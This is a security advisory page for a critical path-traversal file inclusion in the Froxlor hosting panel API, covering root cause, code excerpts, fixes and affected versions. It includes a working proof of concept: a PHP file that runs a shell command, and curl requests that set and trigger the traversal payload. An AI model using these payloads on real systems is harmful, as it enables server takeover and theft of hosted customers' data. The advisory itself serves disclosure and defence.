GHSA-w59f-67xm-rxx7 is a critical-severity (CVSS 9.9) CWE-98 vulnerability in froxlor/froxlor. A fix is available for froxlor/froxlor — see the affected versions and patch details below.
Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w59f-67xm-rxx7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-w59f-67xm-rxx7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
froxlor/froxlorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.
Details
Root cause: The API and web UI have inconsistent validation for the def_language parameter.
The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
Customers::getLocal($userinfo, [
'id' => $userinfo['customerid'],
'def_language' => $def_language
])->update();
The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:
// Customers.php:1167-1172 (customer branch)
} else {
// allowed parameters
$def_language = $this->getParam('def_language', true, $result['def_language']);
...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:
API path (ApiCommand.php:218-222):
private function initLang()
{
Language::setLanguage(Settings::Get('panel.standardlanguage'));
if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
Language::setLanguage($this->getUserDetail('language'));
} elseif ($this->getUserDetail('def_language') !== null) {
Language::setLanguage($this->getUserDetail('def_language')); // No validation
}
}
Web path (init.php:180-185):
if (CurrentUser::hasSession()) {
if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
Language::setLanguage(CurrentUser::getField('language'));
} else {
Language::setLanguage(CurrentUser::getField('def_language')); // No validation
}
}
The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.
File inclusion (Language.php:89-98):
private static function loadLanguage($iso): array
{
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
if (!file_exists($languageFile)) {
return [];
}
$lng = require $languageFile; // Arbitrary PHP execution
With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.
PoC
Step 1 — Upload malicious language file via FTP:
Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php
The file is now at /var/customers/webs/<loginname>/evil.lng.php.
Step 2 — Set traversal payload via API:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().
Step 3 — Trigger inclusion on next API call:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.get"}'
ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.
Step 4 — Verify execution:
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
- Full server compromise: Read
lib/userdata.inc.phpto obtain database credentials, then access all customer data, admin credentials, and server configuration. - Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
- Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
- Data exfiltration: Read all hosted databases and email content across the panel.
The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.
Recommended Fix
Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);
// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
$def_language = Settings::Get('panel.standardlanguage');
}
Apply the same fix in Admins.php at line 600.
Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:
private static function loadLanguage($iso): array
{
// Reject path traversal attempts
if ($iso !== basename($iso) || str_contains($iso, '..')) {
return [];
}
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
// ...
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | froxlor/froxlor | all versions | 2.3.6composer require froxlor/froxlor:^2.3.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for froxlor/froxlor, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update froxlor/froxlor to 2.3.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w59f-67xm-rxx7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-w59f-67xm-rxx7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-w59f-67xm-rxx7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w59f-67xm-rxx7 in your dependencies?
O3 Security finds GHSA-w59f-67xm-rxx7 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.